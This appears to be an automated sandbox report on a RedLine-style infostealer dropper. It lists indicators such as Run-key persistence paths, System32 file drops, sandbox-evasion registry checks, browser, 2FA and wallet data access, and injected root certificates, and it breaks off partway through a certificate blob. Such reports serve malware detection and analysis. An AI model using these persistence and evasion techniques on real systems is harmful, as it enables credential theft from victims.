redline | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

Processes:

6zT3pYege0XS1rsVjiHSFAft.exetkNt1FFI1INKZONsPutfa8Km.exeWerFault.exe0ZRHTkgGEY56RpC79wWBJJ4t.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6zT3pYege0XS1rsVjiHSFAft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6zT3pYege0XS1rsVjiHSFAft.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tkNt1FFI1INKZONsPutfa8Km.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tkNt1FFI1INKZONsPutfa8Km.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0ZRHTkgGEY56RpC79wWBJJ4t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0ZRHTkgGEY56RpC79wWBJJ4t.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Setup (13).exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\International\Geo\Nation	Setup (13).exe

Loads dropped DLL 64 IoCs

Processes:

Setup (13).exe6I_vHT5EjSdNM_mRzjVTQ4gl.exeMTn5Z7krfBOM6F46mBh7hjWj.exeWerFault.exe6386335.exeMTn5Z7krfBOM6F46mBh7hjWj.tmpjfiag3g_gg.exe0ZRHTkgGEY56RpC79wWBJJ4t.exeWerFault.exeUxeLcqzwTT96cu6eR281bVEO.exe40wR120o4rDIPX58VnMl27bl.exejooyu.exerundll32.exeSetup.exeStats.exeStats.tmp

pid	process
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
520	Setup (13).exe
1988	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
520	Setup (13).exe
2044	MTn5Z7krfBOM6F46mBh7hjWj.exe
2508	WerFault.exe
2508	WerFault.exe
2508	WerFault.exe
2348	6386335.exe
2060	MTn5Z7krfBOM6F46mBh7hjWj.tmp
2060	MTn5Z7krfBOM6F46mBh7hjWj.tmp
2060	MTn5Z7krfBOM6F46mBh7hjWj.tmp
2508	WerFault.exe
1260	jfiag3g_gg.exe
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
740	UxeLcqzwTT96cu6eR281bVEO.exe
1440	40wR120o4rDIPX58VnMl27bl.exe
1440	40wR120o4rDIPX58VnMl27bl.exe
1440	40wR120o4rDIPX58VnMl27bl.exe
1440	40wR120o4rDIPX58VnMl27bl.exe
1440	40wR120o4rDIPX58VnMl27bl.exe
1220	jooyu.exe
1220	jooyu.exe
1220	jooyu.exe
1220	jooyu.exe
2940	rundll32.exe
2060	MTn5Z7krfBOM6F46mBh7hjWj.tmp
108	Setup.exe
1736	Stats.exe
2716	Stats.tmp

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

3476 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3476	icacls.exe

Themida packer 12 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\Users\Admin\Documents\6zT3pYege0XS1rsVjiHSFAft.exe	themida
C:\Users\Admin\Documents\6zT3pYege0XS1rsVjiHSFAft.exe	themida
\Users\Admin\Documents\tkNt1FFI1INKZONsPutfa8Km.exe	themida
C:\Users\Admin\Documents\tkNt1FFI1INKZONsPutfa8Km.exe	themida
\Users\Admin\Documents\0ZRHTkgGEY56RpC79wWBJJ4t.exe	themida
\Users\Admin\Documents\BsmEbheM3sZzLDw2FRIWWOCc.exe	themida
C:\Users\Admin\Documents\0ZRHTkgGEY56RpC79wWBJJ4t.exe	themida
C:\Users\Admin\Documents\BsmEbheM3sZzLDw2FRIWWOCc.exe	themida
behavioral9/memory/1956-181-0x0000000000140000-0x0000000000141000-memory.dmp	themida
behavioral9/memory/1560-188-0x00000000012D0000-0x00000000012D1000-memory.dmp	themida
behavioral9/memory/1272-198-0x0000000000260000-0x0000000000261000-memory.dmp	themida
behavioral9/memory/960-219-0x00000000003F0000-0x00000000003F1000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

6I_vHT5EjSdNM_mRzjVTQ4gl.exe6386335.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Windows\\System32\\api-ms-win-core-localization-l1-1-0\\conhost.exe\""	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\40wR120o4rDIPX58VnMl27bl = "\"C:\\Users\\Admin\\Documents\\ConnectResolve\\40wR120o4rDIPX58VnMl27bl.exe\""	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0ZRHTkgGEY56RpC79wWBJJ4t = "\"C:\\Users\\Admin\\Documents\\SelectConvert\\0ZRHTkgGEY56RpC79wWBJJ4t.exe\""	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\ProgramData\\Start Menu\\conhost.exe\""	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	6386335.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

6zT3pYege0XS1rsVjiHSFAft.exetkNt1FFI1INKZONsPutfa8Km.exe0ZRHTkgGEY56RpC79wWBJJ4t.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6zT3pYege0XS1rsVjiHSFAft.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tkNt1FFI1INKZONsPutfa8Km.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0ZRHTkgGEY56RpC79wWBJJ4t.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 17 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
259	ipinfo.io
408	ipinfo.io
473	ipinfo.io
182	ipinfo.io
201	ip-api.com
261	ipinfo.io
406	ipinfo.io
635	ipinfo.io
184	ipinfo.io
257	ipinfo.io
632	ipinfo.io
21	ipinfo.io
22	ipinfo.io
223	ipinfo.io
256	ipinfo.io
411	ipinfo.io
477	ipinfo.io

Program crash 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2508	1912	WerFault.exe	kfIG5AT7N7bku6DCVcUKDyTL.exe
1128	2180	WerFault.exe	3531479.exe
1272	2744	WerFault.exe	8259864.exe
4716	1316	WerFault.exe	ssqq.exe
3780	1780	WerFault.exe	2558543.exe
4048	2040	WerFault.exe	8526479.exe
3296	3184	WerFault.exe	4343945.exe
2872	4960	WerFault.exe	iexplore.exe
2840	388	WerFault.exe	iexplore.exe

Drops file in System32 directory 3 IoCs

Processes:

6I_vHT5EjSdNM_mRzjVTQ4gl.exe

description	ioc	process
File created	C:\Windows\System32\api-ms-win-core-localization-l1-1-0\conhost.exe	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
File opened for modification	C:\Windows\System32\api-ms-win-core-localization-l1-1-0\conhost.exe	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
File created	C:\Windows\System32\api-ms-win-core-localization-l1-1-0\088424020bedd6b28ac7fd22ee35dcd7322895ce	6I_vHT5EjSdNM_mRzjVTQ4gl.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

6zT3pYege0XS1rsVjiHSFAft.exetkNt1FFI1INKZONsPutfa8Km.exeWerFault.exe0ZRHTkgGEY56RpC79wWBJJ4t.exe

pid process

1956 6zT3pYege0XS1rsVjiHSFAft.exe
1560 tkNt1FFI1INKZONsPutfa8Km.exe
1272 WerFault.exe
960 0ZRHTkgGEY56RpC79wWBJJ4t.exe

pid	process
1956	6zT3pYege0XS1rsVjiHSFAft.exe
1560	tkNt1FFI1INKZONsPutfa8Km.exe
1272	WerFault.exe
960	0ZRHTkgGEY56RpC79wWBJJ4t.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

PJsFEwriHA049W5Sq0aMkE82.exejfiag3g_gg.exepLDbr7Bolu2CK0IobUjwDyuE.exeZPnaJ0jBGqyAp2al1SXcHJmq.exe

description	pid	process	target process
PID 1312 set thread context of 2984	1312	PJsFEwriHA049W5Sq0aMkE82.exe	PJsFEwriHA049W5Sq0aMkE82.exe
PID 1260 set thread context of 2380	1260	jfiag3g_gg.exe	md8_8eus.exe
PID 944 set thread context of 2672	944	pLDbr7Bolu2CK0IobUjwDyuE.exe	pLDbr7Bolu2CK0IobUjwDyuE.exe
PID 1120 set thread context of 2396	1120	ZPnaJ0jBGqyAp2al1SXcHJmq.exe	ZPnaJ0jBGqyAp2al1SXcHJmq.exe

Drops file in Program Files directory 20 IoCs

Processes:

Setup.exe40wR120o4rDIPX58VnMl27bl.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	40wR120o4rDIPX58VnMl27bl.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	40wR120o4rDIPX58VnMl27bl.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	40wR120o4rDIPX58VnMl27bl.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	40wR120o4rDIPX58VnMl27bl.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe	Setup.exe
File created	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	40wR120o4rDIPX58VnMl27bl.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe	Setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

ZPnaJ0jBGqyAp2al1SXcHJmq.exe_XyBt1sQkewLWbmijnIKsfKi.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ZPnaJ0jBGqyAp2al1SXcHJmq.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ZPnaJ0jBGqyAp2al1SXcHJmq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	_XyBt1sQkewLWbmijnIKsfKi.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	_XyBt1sQkewLWbmijnIKsfKi.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	_XyBt1sQkewLWbmijnIKsfKi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ZPnaJ0jBGqyAp2al1SXcHJmq.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

runvd.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	runvd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	runvd.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2248 schtasks.exe
2256 schtasks.exe
2276 schtasks.exe
2300 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

4500 timeout.exe
3680 timeout.exe
4412 timeout.exe

pid	process
2248	schtasks.exe
2256	schtasks.exe
2276	schtasks.exe
2300	schtasks.exe

pid	process
4500	timeout.exe
3680	timeout.exe
4412	timeout.exe

Kills process with taskkill 9 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4320	taskkill.exe
4700	taskkill.exe
3240	taskkill.exe
2316	taskkill.exe
2812	taskkill.exe
4628	taskkill.exe
4180	taskkill.exe
4560	taskkill.exe
1300	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

Processes:

mshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 15 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

Setup (13).exemd8_8eus.exejooyu.exeMTn5Z7krfBOM6F46mBh7hjWj.tmpkfIG5AT7N7bku6DCVcUKDyTL.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Setup (13).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	md8_8eus.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	jooyu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Setup (13).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (13).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (13).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	MTn5Z7krfBOM6F46mBh7hjWj.tmp
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d6974656431213